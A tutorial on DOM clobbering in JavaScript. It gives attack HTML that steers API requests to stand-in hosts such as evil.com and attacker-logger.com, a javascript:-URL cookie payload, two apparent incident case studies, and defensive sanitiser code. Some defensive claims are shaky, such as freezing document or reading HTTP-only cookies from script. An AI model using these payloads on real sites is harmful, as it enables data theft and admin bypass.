#DOM Clobbering

javascript// JavaScript code expects a variable
var speaker = {
    name: "Dr. Smith",
    role: "admin",
    clearance: "high"
};

// Code uses: speaker.name

Attacker creates HTML:

html<a id="speaker" href="http://evil.com">Click me</a>

Now when JavaScript tries to access speaker:

javascriptconsole.log(speaker);
// Expected: {name: "Dr. Smith", role: "admin"}
// Actual: <a id="speaker" href="http://evil.com">Click me</a>

console.log(speaker.name);
// Tries to access .name on the <a> element!
// This can be exploited!

The JavaScript code thinks it's accessing a config object, but it's actually accessing an HTML element controlled by the attacker!

html<script>
// Application checks if user is admin
if (window.isAdmin) {
    showAdminPanel();
}
</script>

Application checks window.isAdmin but doesn't define it.

html<form name="isAdmin">
    <input name="x">
</form>

This creates window.isAdmin as an HTMLFormElement!

javascriptif (window.isAdmin) {
    showAdminPanel();  // Executes!
}

window.isAdmin is truthy (it's an HTML form), so condition passes!

javascript// Vulnerable code that uses clobbered variable
location = config.redirectUrl;

If attacker sets:

html<a id="config" href="javascript:alert(document.cookie)"></a>

Then: config.href = "javascript:alert(document.cookie)"

And: location = config.href executes JavaScript!

Gmail's email rendering had DOM clobbering vulnerability that could be exploited via crafted emails.

javascript// Gmail's JavaScript checked for configuration
if (!window.GM_CONFIG) {
    window.GM_CONFIG = {
        apiEndpoint: 'https://mail.google.com/api',
        debug: false
    };
}

// Later code used this:
fetch(GM_CONFIG.apiEndpoint + '/messages');

Attacker sent email with HTML:

html<form id="GM_CONFIG">
    <input name="apiEndpoint" value="https://attacker-logger.com">
</form>

When victim viewed email:

1. window.GM_CONFIG was clobbered to form element
2. GM_CONFIG.apiEndpoint.value = "https://attacker-logger.com"
3. Gmail's code sent requests to attacker's server
4. Exposed email data to attacker

• Reported via bug bounty
• $10,000 reward paid
• Fixed within 48 hours
• Demonstrated real-world DOM clobbering risk

Internal web application used DOM clobbering-vulnerable authentication check

javascript// Admin panel access control
function checkAdminAccess() {
    if (!window.adminToken) {
        // Load token from server
        fetch('/api/get-admin-token')
            .then(r => r.json())
            .then(data => {
                window.adminToken = data.token;
                initializeAdminPanel();
            });
    } else {
        // Token already exists, use it
        initializeAdminPanel();
    }
}

function initializeAdminPanel() {
    fetch('/api/admin/users', {
        headers: {
            'Authorization': 'Bearer ' + adminToken
        }
    }).then(/*...*/);
}

Attacker posted on internal forum:

html<form name="adminToken">
    <input name="length" value="999">
</form>

When admin viewed the post:

1. window.adminToken clobbered to form element
2. checkAdminAccess() saw truthy adminToken (the form)
3. Skipped server token fetch
4. initializeAdminPanel() executed
5. 'Bearer ' + adminToken = "Bearer [object HTMLFormElement]"
6. Server received invalid token but logic flaw allowed access

Impact:

• Unauthorized admin panel access
• Data exposure
• $150,000 in remediation
• Internal security review mandated

Find where you can inject HTML (even if sanitized):

• Comments
• User profiles
• Forum posts
• Email rendering
• Any user-controlled HTML

html<form id="test"></form>

<script>
console.log(window.test);  // Should show form element
</script>

Look for JavaScript that:

• Checks window.variableName without defining it
• Uses || with undefined variables
• Accesses properties on possibly undefined objects

html<form id="config">
    <input name="apiEndpoint" value="https://evil.com">
</form>

javascript// Comprehensive DOM clobbering prevention

(function() {
    'use strict';

    // 1. Create isolated namespace
    const App = Object.create(null);

    // 2. Freeze critical objects
    Object.freeze(document);

    // 3. Safe configuration object
    App.config = Object.freeze({
        apiUrl: 'https://api.example.com',
        debug: false,
        features: Object.freeze({
            admin: false,
            analytics: true
        })
    });

    // 4. Safe property access helper
    App.safeGet = function(obj, path, defaultValue) {
        const keys = path.split('.');

        for (let key of keys) {
            // Check it's own property, not from prototype or DOM
            if (!obj || typeof obj !== 'object' || !Object.prototype.hasOwnProperty.call(obj, key)) {
                return defaultValue;
            }
            obj = obj[key];
        }

        return obj !== undefined ? obj : defaultValue;
    };

    // 5. Secure variable checker
    App.isDefined = function(varName) {
        // Don't use window[varName] - can be clobbered!
        return Object.prototype.hasOwnProperty.call(window, varName);
    };

    // 6. Secure redirect function
    App.redirect = function(url) {
        // Validate URL
        if (typeof url !== 'string') {
            console.error('Invalid redirect URL type');
            return;
        }

        // Block javascript: URLs
        if (url.toLowerCase().startsWith('javascript:')) {
            console.error('JavaScript URLs blocked');
            return;
        }

        // Only allow http/https
        const parsed = new URL(url, window.location.origin);

        if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
            console.error('Invalid protocol');
            return;
        }

        window.location = url;
    };

    // 7. Authentication check (clobbering-proof)
    App.checkAuth = function() {
        // Don't check window.isAuthenticated - can be clobbered!
        // Instead, check HTTP-only cookie or sessionStorage

        const authToken = sessionStorage.getItem('authToken');

        if (!authToken) {
            App.redirect('/login');
            return false;
        }

        return true;
    };

    // 8. Example usage
    App.init = function() {
        // Safe config access
        const apiUrl = App.safeGet(App.config, 'apiUrl', 'https://default-api.com');

        // Safe auth check
        if (!App.checkAuth()) {
            return;
        }

        // Safe redirect
        const redirectParam = new URLSearchParams(window.location.search).get('redirect');
        if (redirectParam) {
            App.redirect(redirectParam);
        }
    };

    // Expose only App to global scope
    window.SecureApp = Object.freeze(App);
})();

html<!DOCTYPE html>
<html>
<head>
    <title>Secure Application</title>
    <script src="secure-app.js"></script>

    <!-- DOMPurify for sanitization -->
    <script src="https://cdn.jsdelivr.net/npm/dompurify@3/dist/purify.min.js"></script>
</head>
<body>
    <div id="app-container"></div>

    <script>
    // Configure DOMPurify to prevent clobbering
    DOMPurify.setConfig({
        SANITIZE_DOM: true,
        FORBID_TAGS: ['form'],
        FORBID_ATTR: ['id', 'name']  // Block clobbering vectors
    });

    // Safe rendering of user content
    function renderUserContent(untrustedHTML) {
        const clean = DOMPurify.sanitize(untrustedHTML);
        document.getElementById('app-container').innerHTML = clean;
    }

    // Initialize application
    SecureApp.init();
    </script>
</body>
</html>

javascript// DOMPurify configuration for DOM clobbering prevention

const SECURE_SANITIZE_CONFIG = {
    // Enable DOM clobbering protection
    SANITIZE_DOM: true,

    // Block form elements (common clobbering vector)
    FORBID_TAGS: ['form'],

    // Block id and name attributes
    FORBID_ATTR: ['id', 'name'],

    // Allow only safe attributes
    ALLOWED_ATTR: [
        'href', 'src', 'alt', 'title', 'class', 'style',
        'width', 'height', 'target'
    ],

    // Block javascript: URLs
    ALLOW_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,

    // Other security settings
    ALLOW_DATA_ATTR: false,
    ALLOW_UNKNOWN_PROTOCOLS: false,
    SAFE_FOR_TEMPLATES: true
};

// Usage
function sanitizeUserInput(html) {
    return DOMPurify.sanitize(html, SECURE_SANITIZE_CONFIG);
}